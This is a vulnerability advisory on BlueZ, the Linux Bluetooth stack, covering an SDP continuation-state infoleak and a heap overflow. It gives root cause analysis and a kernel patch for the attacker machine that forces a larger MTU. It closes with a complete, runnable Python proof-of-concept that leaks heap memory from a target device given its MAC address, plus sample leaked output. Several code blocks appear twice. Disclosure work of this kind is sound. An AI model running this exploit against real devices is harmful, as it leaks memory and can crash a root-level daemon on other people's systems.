vulnerabilities detailed in this advisory, we will focus on two core protocols: L2CAP and SDP. L2CAP Simply speaking, L2CAP can be seen as the TCP layer of Bluetooth. It is responsible for implementing low-level features such as multiplexing and flow control. What would be called a “port” in TCP is the “Protocol/Service Multiplexer” (PSM) value in L2CAP. Authentication and Authorization is generally handled on higher layers, meaning that an attacker can open a L2CAP connection to any PSM they want and send whatever crafted packets they wish. From a technical point of view, BlueZ implements L2CAP inside the kernel as a module. SDP SDP is the Service Discovery Protocol. It is implemented above L2CAP as a “service” running on PSM 0x0001. Since the PSM is only a 16-bit number, it is not possible to assign a unique PSM to every Bluetooth service imaginable. SDP can translate globally unique UUIDs to a dynamic PSM used on a specific device. For instance, a vendor specific service has the same UUID on all devices but might run on PSM 0x0123 on device A and PSM 0x0456 on device B. It is the job of SDP to provide this information to devices that wish to connect to the service. Example * Device A opens a L2CAP connection to PSM 0x0001 (SDP) on device B * Device A asks “what is the PSM for the service with UUID 0x12345678?” * Device B responds with “PSM 0x1337” * Device A opens an L2CAP connection to PSM 0x1337 SDP is also used to advertise all the Bluetooth Profiles (services/features) a device supports. It can be queried to send a list of all services running on the device as well as their attributes (mostly simple key/value pairs). The SDP protocol is implemented in a userspace daemon by BlueZ. Since it requires high privileges, this daemon normally runs as root, meaning vulnerabilities should result in full system compromise in most cases. PoC’s and Testing Environment The PoC’s attached at the end of this advisory have been tested against BlueZ 5.48 (the newest version at the time of writing), BlueZ 5.17 (a very old version from 2014), as well as a few in between. The PoC’s have been written for Python 2.7 and have two dependencies, please install them first: * pybluez (to send Bluetooth packets) * pwntools (for easier crafting of packets and hexdump()) run them with: python sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX python sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX (where XX:XX:XX:XX:XX:XX is the Bluetooth MAC address of the victim device) Please ensure that the Bluetooth is activated and the device is discoverable (called “visible” in most of the GUIs) It might be necessary to update the SERVICE_REC_HANDLE and/or SERVICE_ATTR_ID to get the PoC’s to work. These values can differ between devices. They are advertised by SDP so it could be automated to find them but we didn’t implemented that. Detailed information is inside the comments of the PoC’s. Vulnerability 1: SDP infoleak Note: All line numbers and filenames referenced here were taken from BlueZ 5.48 which is the newest version at the time of writing. The vulnerability lies in the handling of a SVC_ATTR_REQ by the SDP implementation of BlueZ. By crafting a malicious CSTATE, it is possible to trick the server into returning more bytes than the buffer actually holds, resulting in leaking arbitrary heap data. Background This vulnerability demonstrates very well issues arising due to the aforementioned complexity caused by the redundant implementation of some features in multiple protocols. Even though L2CAP already provides sufficient fragmentation features, SDP defines its own. However, incorrect implementation in BlueZ leads to a significant information leak. One of the features of SDP is to provide the values of custom attributes a service might have. The client sends the ID of an attribute and SDP responds with the corresponding value. If the response to an attribute request is too large to fit within a single SDP packet, a “Continuation State” (cstate) is created. Here is how it should work in theory: client sends an attribute request server sees that the response is too large to fit in the reply server appends arbitrary continuation state data to the response client recognizes this means the response is not complete yet client sends the same request again, this time including the continuation state data sent by the server server responds with the rest of the data According to the specification, the cstate data can be arbitrary data, basically whatever the specific implementation wants and the client is required to send the same request again, including the cstate data sent by the server. The implementation of this mechanism in BlueZ is flawed. A malicious client can manipulate the cstate data it sends in the second request. The server does not check this and simply trusts that the data is the same. This leads to an infloleak described in the next section. Root cause analysis The root cause can be found in the function service_attr_req on line 633 of src/sdpd-request.c 721 if (cstate) { 722 sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); 723 724 SDPDBG("Obtained cached rsp : %p", pCache); 725 726 if (pCache) { 727 short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); 728 pResponse = pCache->data; 729 memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); 730 buf->data_size += sent; 731 cstate->cStateValue.maxBytesSent += sent; 732 733 SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", 734 pCache->data_size, sent, cstate->cStateValue.maxBytesSent); 735 if (cstate->cStateValue.maxBytesSent == pCache->data_size) 736 cstate_size = sdp_set_cstate_pdu(buf, NULL); 737 else 738 cstate_size = sdp_set_cstate_pdu(buf, cstate); 739 } else { 740 status = SDP_INVALID_CSTATE; 741 error("NULL cache buffer and non-NULL continuation state"); 742 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 721 if (cstate) { 722 sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); 723 724 SDPDBG("Obtained cached rsp : %p", pCache); 725 726 if (pCache) { 727 short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); 728 pResponse = pCache->data; 729 memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); 730 buf->data_size += sent; 731 cstate->cStateValue.maxBytesSent += sent; 732 733 SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", 734 pCache->data_size, sent, cstate->cStateValue.maxBytesSent); 735 if (cstate->cStateValue.maxBytesSent == pCache->data_size) 736 cstate_size = sdp_set_cstate_pdu(buf, NULL); 737 else 738 cstate_size = sdp_set_cstate_pdu(buf, cstate); 739 } else { 740 status = SDP_INVALID_CSTATE; 741 error("NULL cache buffer and non-NULL continuation state"); 742 } The main issue here is in line 727 where BlueZ calculates how many bytes should be sent to the client. The value of max_rsp_size can be controlled by the attacker but normally the MIN function should ensure that it cannot be larger than than the actual bytes available. The vulnerability is that we can cause an underflow when calculating (pCache->data_size – cstate->cStateValue.maxBytesSent) which causes that value to be extremely high when interpreted as an unsigned integer. MIN will then return whatever we sent as max_rsp_size since it is smaller than the result of the underflow. pCache->data_size is how large the initially generated response has been. cstate->cStateValue.maxBytesSent is directly read from the cstate we sent to the server. So we can set it to any value we want. If we set maxBytesSent to a value higher than data_size, we trigger an underflow that allows us to cause MIN() to return our max_rsp_size which lets us set “sent” to any value we want. The memcpy in line 729 will then copy all that data to the response buffer which later gets sent to us. Since “sent” is a signed short, we have two possible ways to exploit this: If we set sent to value <= 0x7FFF it is treated as a positive integer and we will get sent this amount of bytes back. If we set it to 0x8000 or larger it will be treated as a negative value, meaning zero expansion will fill all the most significant bits with 1, resulting in a extremely large copy operation in line 729 that is guaranteed to crash the program. So this vulnerability can be either used as a infoleak to leak up 0x7FFF bytes or as a Denial of Service that crashes the bluetooth application. Triggering the vulnerability To trigger this vulnerability, we first send a legitimate attribute request to the server. In our request, we can specify how many bytes we are willing to accept within a single response packet. Since we already know how large the response will be, we set this so the response will be one byte too large. This results in the server storing that there is one byte left it hadn’t sent us yet. The server also sends us a cstate that contains how many bytes it has already sent us. For simplicity, we call this value the “offset”. Then we send the same request again, but we increase the “offset” contained in the cstate to create the underflow described above. For detailed documentation about how the packets we send look exactly, please refer to the comments in the Python PoC file. Vulnerability 2: SDP Heap Overflow Like the information leak, this vulnerability lies in the SDP protocol handling of attribute requests as well. By requesting a huge number of attributes at the same time, an attacker can overflow the static buffer provided to hold the response. Normally, it would not be possible to request so many attributes but we will demonstrate a trick that allows us to do so. Root cause analysis In the same function service_attr_req of src/sdpd-request.c, in line 745 the function extract_attrs is called. 744 sdp_record_t *rec = sdp_record_find(handle); 745 status = extract_attrs(rec, seq, buf); 746 if (buf->data_size > max_rsp_size) { 747 sdp_cont_state_t newState; 748 749 memset((char *)&newState, 0, 1 2 3 4 5 6 744 sdp_record_t *rec = sdp_record_find(handle); 745 status = extract_attrs(rec, seq, buf); 746 if (buf->data_size > max_rsp_size) { 747 sdp_cont_state_t newState; 748 749 memset((char *)&newState, 0, This function is used to find the actual values for all the attributes requested by the client. Inside it, we find the following code: 606 for (attr = low; attr < high; attr++) { 607 data = sdp_data_get(rec, attr); 608 if (data) 609 sdp_append_to_pdu(buf, data); 610 } 611 data = sdp_data_get(rec, high); 612 if (data) 613 sdp_append_to_pdu(buf, data); 1 2 3 4 5 6 7 8 606 for (attr = low; attr < high; attr++) { 607 data = sdp_data_get(rec, attr); 608 if (data) 609 sdp_append_to_pdu(buf, data); 610 } 611 data = sdp_data_get(rec, high); 612 if (data) 613 sdp_append_to_pdu(buf, data); The important part here is that after getting the values of the attributes with sdp_data_get, they are simply appended to the buffer with sdp_append_to_pdu. The code of this function can be found in lib/sdp.c 2871 void sdp_append_to_pdu(sdp_buf_t *pdu, sdp_data_t *d) 2872 { 2873 sdp_buf_t append; 2874 2875 memset(&append, 0, sizeof(sdp_buf_t)); 2876 sdp_gen_buffer(&append, d); 2877 append.data = malloc(append.buf_size); 2878 if (!append.data) 2879 return; 2880 2881 sdp_set_attrid(&append, d->attrId); 2882 sdp_gen_pdu(&append, d); 2883 sdp_append_to_buf(pdu, append.data, append.data_size); 2884 free(append.data); 2885 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 2871 void sdp_append_to_pdu(sdp_buf_t *pdu, sdp_data_t *d) 2872 { 2873 sdp_buf_t append; 2874 2875 memset(&append, 0, sizeof(sdp_buf_t)); 2876 sdp_gen_buffer(&append, d); 2877 append.data = malloc(append.buf_size); 2878 if (!append.data) 2879 return; 2880 2881 sdp_set_attrid(&append, d->attrId); 2882 sdp_gen_pdu(&append, d); 2883 sdp_append_to_buf(pdu, append.data, append.data_size); 2884 free(append.data); 2885 } What happens here is that an appropriately sized sdp_buf_t is created and the new data is copied into it. After that, sdp_append_to_buf is called to append this data to the buffer originally passed by extract_attrs. sdp_append_to_buf can be found in the same file, the relevant part is here: 2829 void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) 2830 { 2831 uint8_t *p = dst->data; 2832 uint8_t dtd = *p; 2833 2834 SDPDBG("Append src size: %d", len); 2835 SDPDBG("Append dst size: %d", dst->data_size); 2836 SDPDBG("Dst buffer size: %d", dst->buf_size); 2837 if (dst->data_size == 0 && dtd == 0) { 2838 /* create initial sequence */ 2839 *p = SDP_SEQ8; 2840 dst->data_size += sizeof(uint8_t); 2841 /* reserve space for sequence size */ 2842 dst->data_size += sizeof(uint8_t); 2843 } 2844 2845 memcpy(dst->data + dst->data_size, data, len); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 2829 void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) 2830 { 2831 uint8_t *p = dst->data; 2832 uint8_t dtd = *p; 2833 2834 SDPDBG("Append src size: %d", len); 2835 SDPDBG("Append dst size: %d", dst->data_size); 2836 SDPDBG("Dst buffer size: %d", dst->buf_size); 2837 if (dst->data_size == 0 && dtd == 0) { 2838 /* create initial sequence */ 2839 *p = SDP_SEQ8; 2840 dst->data_size += sizeof(uint8_t); 2841 /* reserve space for sequence size */ 2842 dst->data_size += sizeof(uint8_t); 2843 } 2844 2845 memcpy(dst->data + dst->data_size, data, len); As we can see, there isn’t any check if there is enough space in the destination buffer. The function simply appends all data passed to it. To sum everything up, the values of all attributes that are requested will simply be appended to the output buffer. There are no size checks whatsoever, resulting in a simple heap overflow if one can craft a request where the response is large enough to overflow the preallocated buffer. service_attr_req gets called by process_request (also in src/sdpd-request.c) which also allocates the response buffer. 968 static void process_request(sdp_req_t *req) 969 { 970 sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *)req->buf; 971 sdp_pdu_hdr_t *rsphdr; 972 sdp_buf_t rsp; 973 uint8_t *buf = malloc(USHRT_MAX); 974 int status = SDP_INVALID_SYNTAX; 975 976 memset(buf, 0, USHRT_MAX); 977 rsp.data = buf + sizeof(sdp_pdu_hdr_t); 978 rsp.data_size = 0; 979 rsp.buf_size = USHRT_MAX - sizeof(sdp_pdu_hdr_t); 980 rsphdr = (sdp_pdu_hdr_t *)buf; 1 2 3 4 5 6 7 8 9 10 11 12 13 968 static void process_request(sdp_req_t *req) 969 { 970 sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *)req->buf; 971 sdp_pdu_hdr_t *rsphdr; 972 sdp_buf_t rsp; 973 uint8_t *buf = malloc(USHRT_MAX); 974 int status = SDP_INVALID_SYNTAX; 975 976 memset(buf, 0, USHRT_MAX); 977 rsp.data = buf + sizeof(sdp_pdu_hdr_t); 978 rsp.data_size = 0; 979 rsp.buf_size = USHRT_MAX - sizeof(sdp_pdu_hdr_t); 980 rsphdr = (sdp_pdu_hdr_t *)buf; On line 973, the response buffer gets allocated with size USHRT_MAX meaning it will be 2^16 bytes large. So in order to overflow this buffer we need to generate a response that is larger than 2^16 bytes. While SDP does not restrict how many attributes we can request within a single packet, we are limited by the outgoing maximum transmission unit L2CAP forces us to use. For SDP, this seems to be hardcoded as 672 bytes. So the problem in exploiting this vulnerability is that we can only send a very small request but need to generate a large response. Some attributes are rather long strings, but even by requesting the longest string we found we could not even get close to generating a response large enough. SDP also has a feature where we can not only request one attribute at a time but also a range of attributes. This requires us to only send the starting and ending IDs. SDP will then return all attributes within that range. Unfortunately, the response generated by this also wasn’t large enough. Since the limiting factor seemed to be the MTU imposed by L2CAP, after investigating further how this MTU gets set and if we can do anything about it. Normally, we can only specifiy the maximum size of incoming packets (IMTU) but not the size of packets the other side is willing to accept (OMTU). After looking at the way L2CAP handles the negotiation of these values we found that it is also possible to reject the configuration supplied by the other side. If we reject a configuration parameter, we can supply a suggestion of a better value that we would accept. If this happens for the OMTU, the BlueZ will simply accept whatever suggestion it gets sent. This allows us to force the other side to use whatever OMTU we want. Then we can send much larger SDP attribute requests, containing enough attributes to overflow the heap. In a simplified way, this is how the MTU negotiation looks like: attacker: I want to open a L2CAP connection, my MTU is 65536 victim: ok, I will send you packets up to 65536 bytes, my MTU is 672, please do not send larger packets (normally, we would be done here) attacker: that MTU is not acceptable for me, I will only open the connection if I can send you packets up to 65536 victim: ok, I will allow you to send packets up to 65536 bytes Unfortunately, Linux does not allow us to reject any MTU values so we modified the kernel on the attacker machine to implement the behavior described above. Please note that this behavior is not really a security vulnerability in itself. It does follow the specification which describes that it should be possible to reject configuration parameters and suggest acceptable ones. Normally it would not be a problem to increase MTU size, it is simply due to the heap overflow that this causes trouble. Modifying the kernel Important: only the ATTACKER has to modify their kernel. The victim kernel does not need to be modified otherwise there wasn’t a vulnerability at all. In our case, we used a Linux 4.13 kernel. Here are the required modifications: Before compiling the kernel, you need to modify l2cap_parse_conf_req in net/bluetooth/l2cap_core.c 3428 if (result == L2CAP_CONF_SUCCESS) { 3429 /* Configure output options and let the other side know 3430 * which ones we don't like. */ 3431 3432 if (mtu < L2CAP_DEFAULT_MIN_MTU) { 3433 result = L2CAP_CONF_UNACCEPT; 3434 } else if(chan->omtu != 65535){ 3435 set_bit(CONF_MTU_DONE, &chan->conf_state); 3436 printk(KERN_INFO "hax setting omtu to 65535 from %d\n",chan->omtu); 3437 chan->omtu = 65535; 3438 result = L2CAP_CONF_UNACCEPT; 3439 3440 } else { 3441 chan->omtu = mtu; 3442 set_bit(CONF_MTU_DONE, &chan->conf_state); 3443 } 3444 l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu, endptr - ptr); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 3428 if (result == L2CAP_CONF_SUCCESS) { 3429 /* Configure output options and let the other side know 3430 * which ones we don't like. */ 3431 3432 if (mtu < L2CAP_DEFAULT_MIN_MTU) { 3433 result = L2CAP_CONF_UNACCEPT; 3434 } else if(chan->omtu != 65535){ 3435 set_bit(CONF_MTU_DONE, &chan->conf_state); 3436 printk(KERN_INFO "hax setting omtu to 65535 from %d\n",chan->omtu); 3437 chan->omtu = 65535; 3438 result = L2CAP_CONF_UNACCEPT; 3439 3440 } else { 3441 chan->omtu = mtu; 3442 set_bit(CONF_MTU_DONE, &chan->conf_state); 3443 } 3444 l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu, endptr - ptr); We added the “else if” that ensures we do not accept the configuration as long as the OMTU isn’t 65535. Additionally we added a printk so we can check that the branch has been triggered correctly by viewing kernel. Once you compile your modified kernel, you can run the PoC attached to this writeup. Conclusion Implementing a complete Bluetooth stack correctly is extremely challenging. There are dozens of different protocols involved which often implement the same features. This can for instance be seen with the fragmentation in SDP. All this complexity creates a huge attack surface. We have demonstrated that only within a single, commonly used protocol multiple critical issues can be found. It seems highly likely that other parts of BlueZ contain similar vulnerabilities, more research is definitely required to ensure the Linux Bluetooth stack is secure from attacks. Exploits Information leak PoC: from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the configuration here depends on the victim device. # Discovery could be automated but for a simple PoC it would be a bit overkill # the attacker can simply gather the required information by running # sdptool browse --xml XX:XX:XX:XX:XX:XX # on his machine (replace XX:XX:XX:XX:XX:XX with victim MAC) # I have chosen to request attributes from the Generic Access Profile # but it does not really matter as long as we can generate a response with a # size large enough to create a continuation state # on my machine, sdptool prints the following: # <attribute id="0x0000"> # <uint32 value="0x00010001" /> # </attribute> # [...] # <attribute id="0x0102"> # <text value="BlueZ" /> # </attribute> # please replace these values if they should not match your victim device # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 # the attribute we want to request (in this case, the String "BlueZ") SERVICE_ATTR_ID = 0x0102 target = args['TARGET'] # TARGET Mac address mtu = 65535 # MTU to use context.endian = 'big' # this is how many bytes we want to leak # you can set it up to 0x7FFF # if you set it to 0x8000 or higher, the victim will crash # I have experienced that with slow Bluetooth hardware, large leaks can # sometimes result in timeouts so I don't recommend to set it larger than # 0x0FFF for this PoC LEAK_BYTES = 0x0FFF # this function crafts a SDP attribute request packet # handle: the service we want to query # max_rsp_size: how many bytes we are willing to accept in a single response packet # attr: the attribute(s) we want to query # cstate: the cstate to send def sdppacket(handle, max_rsp_size, attr, cstate): # craft packet to reach vulnerable code pkt = "" pkt += p32(handle) # handle pkt += p16(max_rsp_size)# max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr # append cstate if cstate: pkt += p8(len(cstate)) pkt += cstate else: pkt += p8(0x00) # no cstate pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ (we want to send an attribute request) pduhdr += p16(0x0000) # TID, doesn't matter pduhdr += p16(len(pkt)) # plen, length of body return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 0x0001)) # connect to target on PSM 0x0001 (SDP) log.info('Sending packet to prepare serverside cstate') # the attribute we want to read attr = p8(0x09) # length of ATTR_ID (SDP_UINT16 - see lib/sdp.h) attr += p16(SERVICE_ATTR_ID) # craft the packet sdp = sdppacket( SERVICE_REC_HANDLE, # the service handle 101, # max size of the response we are willing to accept attr*10, # just request the same attribute 10 times, response will be 102 bytes large None) # no cstate for now sock.send(sdp) # receive response to first packet data = sock.recv(mtu) # parse the cstate we received from the server cstate_len_index = len(data)-9 cstate_len = u8(data[cstate_len_index], endian='little') # sanity check: cstate length should always be 8 byte if cstate_len != 8: log.error('We did not receive a cstate with the length we expected, check if the attribute ids are correct') exit(1) # the cstate contains a timestamp which is used as a "key" on the server to find the # cstate data again. We will just send the same value back timestamp = u32(data[cstate_len_index+1:cstate_len_index+5], endian='little') # offset will be the value of cstate->cStateValue.maxBytesSent when we send it back offset = u16(data[cstate_len_index+5:cstate_len_index+7], endian='little') log.info("cstate: len=%d timestamp=%x offset=%d" % (cstate_len, timestamp, offset)) if offset != 101: log.error('we expected to receive an offset of size 101, check if the attribute request is correct') exit(2) # now we craft our malicious cstate cstate = p32(timestamp, endian='little') # just send back the same timestamp cstate += p16(offset+100, endian='little') # increase the offset by 100 to cause underflow cstate += p16(0x0000, endian='little') # 0x0000 to indicate end of cstate log.info('Triggering infoleak...') # now we send the second packet that triggers the information leak # the manipulated CSTATE will cause an underflow that will make the server # send us LEAK_BYTES bytes instead of the correct amount. sdp = sdppacket(SERVICE_REC_HANDLE, LEAK_BYTES, attr*10, cstate) sock.send(sdp) # receive leaked data data = sock.recv(mtu) log.info("The response is %d bytes large" % len(data)) print hexdump(data) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the configuration here depends on the victim device. # Discovery could be automated but for a simple PoC it would be a bit overkill # the attacker can simply gather the required information by running # sdptool browse --xml XX:XX:XX:XX:XX:XX # on his machine (replace XX:XX:XX:XX:XX:XX with victim MAC) # I have chosen to request attributes from the Generic Access Profile # but it does not really matter as long as we can generate a response with a # size large enough to create a continuation state # on my machine, sdptool prints the following: # <attribute id="0x0000"> # <uint32 value="0x00010001" /> # </attribute> # [...] # <attribute id="0x0102"> # <text value="BlueZ" /> # </attribute> # please replace these values if they should not match your victim device # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 # the attribute we want to request (in this case, the String "BlueZ") SERVICE_ATTR_ID = 0x0102 target = args['TARGET'] # TARGET Mac address mtu = 65535 # MTU to use context.endian = 'big' # this is how many bytes we want to leak # you can set it up to 0x7FFF # if you set it to 0x8000 or higher, the victim will crash # I have experienced that with slow Bluetooth hardware, large leaks can # sometimes result in timeouts so I don't recommend to set it larger than # 0x0FFF for this PoC LEAK_BYTES = 0x0FFF # this function crafts a SDP attribute request packet # handle: the service we want to query # max_rsp_size: how many bytes we are willing to accept in a single response packet # attr: the attribute(s) we want to query # cstate: the cstate to send def sdppacket(handle, max_rsp_size, attr, cstate): # craft packet to reach vulnerable code pkt = "" pkt += p32(handle) # handle pkt += p16(max_rsp_size)# max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr # append cstate if cstate: pkt += p8(len(cstate)) pkt += cstate else: pkt += p8(0x00) # no cstate pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ (we want to send an attribute request) pduhdr += p16(0x0000) # TID, doesn't matter pduhdr += p16(len(pkt)) # plen, length of body return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 0x0001)) # connect to target on PSM 0x0001 (SDP) log.info('Sending packet to prepare serverside cstate') # the attribute we want to read attr = p8(0x09) # length of ATTR_ID (SDP_UINT16 - see lib/sdp.h) attr += p16(SERVICE_ATTR_ID) # craft the packet sdp = sdppacket( SERVICE_REC_HANDLE, # the service handle 101, # max size of the response we are willing to accept attr*10, # just request the same attribute 10 times, response will be 102 bytes large None) # no cstate for now sock.send(sdp) # receive response to first packet data = sock.recv(mtu) # parse the cstate we received from the server cstate_len_index = len(data)-9 cstate_len = u8(data[cstate_len_index], endian='little') # sanity check: cstate length should always be 8 byte if cstate_len != 8: log.error('We did not receive a cstate with the length we expected, check if the attribute ids are correct') exit(1) # the cstate contains a timestamp which is used as a "key" on the server to find the # cstate data again. We will just send the same value back timestamp = u32(data[cstate_len_index+1:cstate_len_index+5], endian='little') # offset will be the value of cstate->cStateValue.maxBytesSent when we send it back offset = u16(data[cstate_len_index+5:cstate_len_index+7], endian='little') log.info("cstate: len=%d timestamp=%x offset=%d" % (cstate_len, timestamp, offset)) if offset != 101: log.error('we expected to receive an offset of size 101, check if the attribute request is correct') exit(2) # now we craft our malicious cstate cstate = p32(timestamp, endian='little') # just send back the same timestamp cstate += p16(offset+100, endian='little') # increase the offset by 100 to cause underflow cstate += p16(0x0000, endian='little') # 0x0000 to indicate end of cstate log.info('Triggering infoleak...') # now we send the second packet that triggers the information leak # the manipulated CSTATE will cause an underflow that will make the server # send us LEAK_BYTES bytes instead of the correct amount. sdp = sdppacket(SERVICE_REC_HANDLE, LEAK_BYTES, attr*10, cstate) sock.send(sdp) # receive leaked data data = sock.recv(mtu) log.info("The response is %d bytes large" % len(data)) print hexdump(data) If everything happens as expected, we shall get a similar output to this: [*] Creating L2CAP socket [*] Connecting to target [*] Sending packet to prepare serverside cstate [*] cstate: len=8 timestamp=5aa54c56 offset=101 [*] Triggering infoleak... [*] The response is 4111 bytes large 00000000 05 00 00 10 0a 0f ff 68 6e 6f 6c 6f 67 69 65 73 │····│···h│nolo│gies│ 00000010 3d 42 52 2f 45 44 52 3b 0a 54 72 75 73 74 65 64 │=BR/│EDR;│·Tru│sted│ 00000020 3d 66 61 6c 73 65 0a 42 6c 6f 63 6b 65 64 3d 66 │=fal│se·B│lock│ed=f│ 00000030 61 6c 73 65 0a 53 65 72 76 69 63 65 73 3d 30 30 │alse│·Ser│vice│s=00│ 00000040 30 30 31 31 30 35 2d 30 30 30 30 2d 31 30 30 30 │0011│05-0│000-│1000│ 00000050 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 │-800│0-00│805f│9b34│ 00000060 66 62 3b 30 30 30 30 31 31 30 36 2d 30 30 30 30 │fb;0│0001│106-│0000│ 00000070 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 │-100│0-80│00-0│0805│ 00000080 66 39 62 33 34 66 62 3b 30 30 30 30 31 31 30 61 │f9b3│4fb;│0000│110a│ 00000090 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d │-000│0-10│00-8│000-│ 000000a0 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 │0080│5f9b│34fb│;000│ 000000b0 30 31 31 30 63 2d 30 30 30 30 2d 31 30 30 30 2d │0110│c-00│00-1│000-│ 000000c0 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 │8000│-008│05f9│b34f│ 000000d0 62 3b 30 30 30 30 31 31 30 65 2d 30 30 30 30 2d │b;00│0011│0e-0│000-│ 000000e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000000f0 39 62 33 34 66 62 3b 30 30 30 30 31 31 31 32 2d │9b34│fb;0│0001│112-│ 00000100 30 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 │0000│-100│0-80│00-0│ 00000110 30 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 │0805│f9b3│4fb;│0000│ 00000120 31 31 31 35 2d 30 30 30 30 2d 31 30 30 30 2d 38 │1115│-000│0-10│00-8│ 00000130 30 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 │000-│0080│5f9b│34fb│ 00000140 3b 30 30 30 30 31 31 31 36 2d 30 30 30 30 2d 31 │;000│0111│6-00│00-1│ 00000150 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 │000-│8000│-008│05f9│ 00000160 62 33 34 66 62 3b 30 30 30 30 31 31 31 66 2d 30 │b34f│b;00│0011│1f-0│ 00000170 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 00000180 38 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 │805f│9b34│fb;0│0001│ 00000190 31 32 66 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 │12f-│0000│-100│0-80│ 000001a0 30 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b │00-0│0805│f9b3│4fb;│ 000001b0 30 30 30 30 31 31 33 32 2d 30 30 30 30 2d 31 30 │0000│1132│-000│0-10│ 000001c0 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 │00-8│000-│0080│5f9b│ 000001d0 33 34 66 62 3b 30 30 30 30 31 32 30 30 2d 30 30 │34fb│;000│0120│0-00│ 000001e0 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 38 │00-1│000-│8000│-008│ 000001f0 30 35 66 39 62 33 34 66 62 3b 30 30 30 30 31 38 │05f9│b34f│b;00│0018│ 00000200 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000210 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 3b 30 │0-00│805f│9b34│fb;0│ 00000220 30 30 30 31 38 30 31 2d 30 30 30 30 2d 31 30 30 │0001│801-│0000│-100│ 00000230 30 2d 38 30 30 30 2d 30 30 38 30 35 66 39 62 33 │0-80│00-0│0805│f9b3│ 00000240 34 66 62 3b 30 30 30 30 36 36 37 35 2d 37 34 37 │4fb;│0000│6675│-747│ 00000250 35 2d 37 32 36 35 2d 36 34 36 39 2d 36 31 36 63 │5-72│65-6│469-│616c│ 00000260 36 32 37 35 36 64 37 30 3b 0a 0a 5b 44 65 76 69 │6275│6d70│;··[│Devi│ 00000270 63 65 49 44 5d 0a 53 6f 75 72 63 65 3d 31 0a 56 │ceID│]·So│urce│=1·V│ 00000280 65 6e 64 6f 72 3d 31 35 0a 50 72 6f 64 75 63 74 │endo│r=15│·Pro│duct│ 00000290 3d 34 36 30 38 0a 56 65 72 73 69 6f 6e 3d 35 31 │=460│8·Ve│rsio│n=51│ 000002a0 37 34 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 │74··│····│····│····│ 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000003d0 00 00 00 00 00 00 41 00 00 00 00 00 00 00 35 00 